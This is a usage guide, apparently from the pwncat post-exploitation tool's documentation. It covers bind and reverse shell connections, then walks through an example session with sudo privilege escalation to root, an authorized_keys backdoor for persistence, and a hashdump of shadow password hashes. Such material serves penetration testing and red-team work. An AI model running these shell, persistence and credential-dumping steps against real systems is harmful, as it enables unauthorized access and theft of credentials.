mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 20:34:15 +01:00
14098a32a3
New connect scheme. Also added ability to abuse previous persistence methods to gain another shell on the same host without another reverse or bind shell (currently only implemented for authorized_keys persistence, but is abstracted for any persistence method).
148 lines
6.9 KiB
ReStructuredText
148 lines
6.9 KiB
ReStructuredText
Basic Usage
|
|
===========
|
|
|
|
``pwncat`` has two main modes which it operates in: Command Mode and Raw Mode. In command mode,
|
|
you are given a prompt with the ``(local)`` prefix. This prompt provides access to ``pwncat`` commands
|
|
for everything from file upload/download to automated privilege escalation. In command mode, you
|
|
control the remote host over the same communications channel, and therefore cancelling local commands
|
|
with "C-c" may leave your raw prompt in a precarious state.
|
|
|
|
The local prompt is governed by a command parser based on Python's ``prompt_toolkit`` module. It
|
|
will syntax highlight and tab-complete commands and arguments, and provides extensive help which
|
|
is auto-generated from the docstrings within the code itself.
|
|
|
|
In raw mode, ``pwncat`` disables echoing on your local terminal and places it in raw mode. Each
|
|
individual keystroke is forwarded to the remote terminal. This allows you to interact with the remote
|
|
terminal as if you were logged in locally or over SSH. Things like keyboard shortcuts, escape sequences
|
|
and graphical terminal applications will behave normally.
|
|
|
|
Transitioning between these two modes is accomplished internally by changing the ``pwncat.victim.state``
|
|
property. This property is a Python ``Enum`` object. From a user perspective, this state can be toggled
|
|
between Raw and Command mode with the "C-d" key sequence. The reason for selecting "C-d" is two-fold.
|
|
Firstly, "C-d" is a common way to exit a shell. Intercepting this control sequence prevents you from
|
|
habitually pressing this key combination and accidentally exiting your remote shell. Further, because
|
|
of it's common function, it feels natural to use this combination to switch between (or temporarily exit)
|
|
the different states.
|
|
|
|
You might be wondering "great, but how do I send a 'C-d' to the remote process!?" Well, ``pwncat``
|
|
allows this through the use of the defined prefix key. Similar to terminal applications like ``tmux``,
|
|
``pwncat`` has the concept of a "prefix" key. This key is pressed prior to entering a defined keyboard
|
|
shortcut to tell the input processor to interpret the next keystroke differently. In ``pwncat``, the
|
|
default prefix is "C-k". This means that to send the "C-d" sequence to the remote terminal, you can
|
|
press "C-k C-d" and to send "C-k" to the remote terminal, you can press "C-k C-k". Keyboard shortcuts
|
|
can be connected with any arbitrary script or local command and can be defined in the configuration file
|
|
or with the ``bind`` command.
|
|
|
|
Connecting to a remote host
|
|
---------------------------
|
|
|
|
To connect to a remote host, the ``connect`` command is used. This command is capable of connecting
|
|
to a remote host over a raw socket, SSH or view a previously installed persistence mechanism. It
|
|
is also able to listen for reverse connections and initiate a session upon connection.
|
|
|
|
When running ``pwncat``, all program arguments with the exception of the ``--config/-c`` and the
|
|
``--help`` arguments are interpreted as local commands which will be executed after the configuration
|
|
file is loaded.
|
|
|
|
Connecting can happen in your configuration file, from the command identified at command execution
|
|
or after startup. If no connection is made from the configuration file or from your command line
|
|
arguments, you will be placed in a local ``pwncat`` command prompt. This is a restricted prompt
|
|
only allowing local commands to be run. From here, you can start a listener or connect to a remote
|
|
host with the ``connect`` command.
|
|
|
|
Here's an example of connecting to a remote bind shell on the host "test-host" on port 4444 immediately
|
|
on invocation of ``pwncat``:
|
|
|
|
.. code-block:: bash
|
|
|
|
pwncat connect --connect -H test-host -p 4444
|
|
|
|
Similarly, listening for a reverse shell connection can be similarly accomplished:
|
|
|
|
.. code-block:: bash
|
|
|
|
pwncat connect --listen -H 0.0.0.0 -p 4444
|
|
|
|
As mentioned above, if no connections are made during initialization, you will be taken to a local
|
|
``pwncat`` prompt where you can then execute the ``connect`` command manually:
|
|
|
|
.. code-block:: bash
|
|
|
|
$ pwncat
|
|
[?] no connection established, entering command mode
|
|
|
|
[+] local terminal restored
|
|
(local) pwncat$ connect -c -H test-host -p 4444
|
|
[+] connection to A.B.C.D:4444 established
|
|
[+] setting terminal prompt
|
|
[+] running in /bin/bash
|
|
[+] terminal state synchronized
|
|
[+] pwncat is ready 🐈
|
|
|
|
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/home/debian$
|
|
|
|
The last method of connecting is via your configuration file. You can place the ``connect`` command
|
|
there in order to not require any arguments. More powerfully, you can place your **reconnect**
|
|
command in your configuration file, which will fail the first time you connect to the remote host.
|
|
After installing persistence, reconnection will utilize your persistence to gain a shell and you
|
|
will no longer need command line parameters.
|
|
|
|
.. code-block:: bash
|
|
|
|
# your pwncat configuration script
|
|
set db "sqlite:///pwncat.sqlite"
|
|
connect --reconnect -H test-host
|
|
|
|
.. code-block:: bash
|
|
|
|
# Connect to test-host via reverse shell the first time
|
|
$ pwncat -c pwncatrc connect -l -H 0.0.0. -p 4444
|
|
[!] d87b9646813d250ac433decdee70112a: connection failed: no working persistence methods found
|
|
[+] connection to A.B.C.D:4444 established
|
|
[+] setting terminal prompt
|
|
[+] running in /bin/bash
|
|
[+] terminal state synchronized
|
|
[+] pwncat is ready 🐈
|
|
|
|
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
|
[+] local terminal restored
|
|
(local) pwncat$ privesc -e
|
|
[+] privilege escalation succeeded using:
|
|
⮡ shell as root via /bin/bash (sudo NOPASSWD)
|
|
[+] pwncat is ready 🐈
|
|
|
|
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
|
[+] local terminal restored
|
|
(local) pwncat$ persist -i -m authorized_keys -u root
|
|
(local) pwncat$ persist --status
|
|
- authorized_keys as root (local) installed
|
|
(local) pwncat$
|
|
[+] pwncat is ready 🐈
|
|
|
|
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
|
|
|
exit
|
|
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
|
(remote) debian@debian-s-1vcpu-1gb-nyc1-01:/root$
|
|
|
|
exit
|
|
|
|
[+] local terminal restored
|
|
|
|
$ pwncat -c data/pwncatrc
|
|
[+] setting terminal prompt
|
|
[+] running in /bin/bash
|
|
[+] terminal state synchronized
|
|
[+] pwncat is ready 🐈
|
|
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
|
(remote) root@debian-s-1vcpu-1gb-nyc1-01:~#
|
|
[+] local terminal restored
|
|
(local) pwncat$ hashdump
|
|
root:$6$jmqmNYe9$8GJjU.tV5XWfyFMclJXd0f7TOCEuHbvU9ajD8ZeaVd7y7GGXcb7BfNVV6rR/S6AcmI0W.yzHiXId0EZsYgnQx1
|
|
debian:$6$c5h8DDIk$2bxaEK8C.wCkTwY.z/Z4c48RwdLRL5AE5J6qvPPHCz2vPb2dEeIbwtxkTHHbvTcnh1S/J0e2gPxUiRgT9SiXN/
|
|
(local) pwncat$
|
|
|
|
The first time ``pwncat`` was run, the reconnection command failed. This was expected, since we
|
|
had not connected to the remote host yet. After we escalated privileges, and installed persistence,
|
|
we were able to re-run ``pwncat`` with no arguments and get a shell. In this case, ``pwncat``
|
|
utilized our installed ssh authorized keys backdoor to gain a session as the root user. |